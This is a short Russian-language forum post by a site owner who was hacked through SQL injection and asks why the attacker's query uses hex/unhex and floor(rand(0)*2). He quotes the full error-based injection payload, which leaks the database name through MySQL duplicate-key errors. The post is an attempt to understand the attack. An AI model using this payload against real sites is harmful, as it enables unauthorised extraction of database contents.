Давненько ещё ломали меня, нашли SQL-inj и проделали следующий код. По этому коду возникают вопросы...
Давайте взглянем на один участок:
1.
unhex(Hex(cast(database() as char)))
Зачем используют Hex+unhex ? Запутать, добавить лишнего кода... выглядит как говнокод, ведь без этого всё прекрасно в данном случае ломалось. Для чего эти велосипеды с туда-сюда данными? Может русские имена в таблицах или ещё что? У кого есть какие идеи?
2.
floor(rand(0)*2)
Почему сразу не подставить цифру 0? Зачем ещё один велосипед? Сейчас пытаюсь разобраться в этой строчке, дело в том, что если её указать, то выпадает ошибка:
Duplicate entry '~'main'~1' for key 'group_key' - БД main
А если её заменить на цифру 0, то запрос проходит. Почему rand(0) крошит в данном случае запрос?
Вот полный запрос, если кто хочет взглянуть:
SELECT * FROM `users` WHERE `id` = 1 and(select 1 from
(select count(*),concat((select (select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e))
from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).